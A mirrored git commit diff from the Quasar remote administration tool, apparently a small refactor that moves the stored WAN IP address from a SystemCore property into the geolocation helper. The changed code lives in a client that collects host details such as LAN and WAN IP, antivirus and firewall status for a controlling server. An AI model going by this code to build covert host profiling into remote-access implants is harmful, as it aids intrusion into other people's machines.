mirror of https://github.com/quasar/Quasar.git
Moved WanIp
This commit is contained in:
parent
5f84b24ed2
commit
d1dc6a64d9
|
@ -383,7 +383,7 @@ public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo comma
|
||||||
"LAN IP Address",
|
"LAN IP Address",
|
||||||
SystemCore.GetLanIp(),
|
SystemCore.GetLanIp(),
|
||||||
"WAN IP Address",
|
"WAN IP Address",
|
||||||
SystemCore.WanIp,
|
GeoLocationHelper.GeoInfo.ip,
|
||||||
"Antivirus",
|
"Antivirus",
|
||||||
SystemCore.GetAntivirus(),
|
SystemCore.GetAntivirus(),
|
||||||
"Firewall",
|
"Firewall",
|
||||||
|
|
|
@ -76,6 +76,8 @@ public static void Initialize()
|
||||||
|
|
||||||
private static void TryLocate()
|
private static void TryLocate()
|
||||||
{
|
{
|
||||||
|
LocationCompleted = false;
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation));
|
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation));
|
||||||
|
@ -100,7 +102,7 @@ private static void TryLocate()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SystemCore.WanIp = GeoInfo.ip;
|
|
||||||
LastLocated = DateTime.UtcNow;
|
LastLocated = DateTime.UtcNow;
|
||||||
LocationCompleted = true;
|
LocationCompleted = true;
|
||||||
}
|
}
|
||||||
|
@ -156,7 +158,7 @@ private static void TryLocateFallback()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SystemCore.WanIp = GeoInfo.ip;
|
|
||||||
LastLocated = DateTime.UtcNow;
|
LastLocated = DateTime.UtcNow;
|
||||||
LocationCompleted = true;
|
LocationCompleted = true;
|
||||||
}
|
}
|
||||||
|
@ -169,7 +171,7 @@ private static void TryLocateFallback()
|
||||||
LocationCompleted = false;
|
LocationCompleted = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (string.IsNullOrEmpty(SystemCore.WanIp))
|
if (string.IsNullOrEmpty(GeoInfo.ip))
|
||||||
TryGetWanIp();
|
TryGetWanIp();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -199,7 +201,7 @@ private static void TryGetWanIp()
|
||||||
{
|
{
|
||||||
}
|
}
|
||||||
|
|
||||||
SystemCore.WanIp = wanIp;
|
GeoInfo.ip = wanIp;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -42,7 +42,6 @@ private struct LASTINPUTINFO
|
||||||
public static string OperatingSystem { get; set; }
|
public static string OperatingSystem { get; set; }
|
||||||
public static string MyPath { get; set; }
|
public static string MyPath { get; set; }
|
||||||
public static string InstallPath { get; set; }
|
public static string InstallPath { get; set; }
|
||||||
public static string WanIp { get; set; }
|
|
||||||
public static string AccountType { get; set; }
|
public static string AccountType { get; set; }
|
||||||
|
|
||||||
public static string GetOperatingSystem()
|
public static string GetOperatingSystem()
|
||||||
|
|
Loading…
Reference in New Issue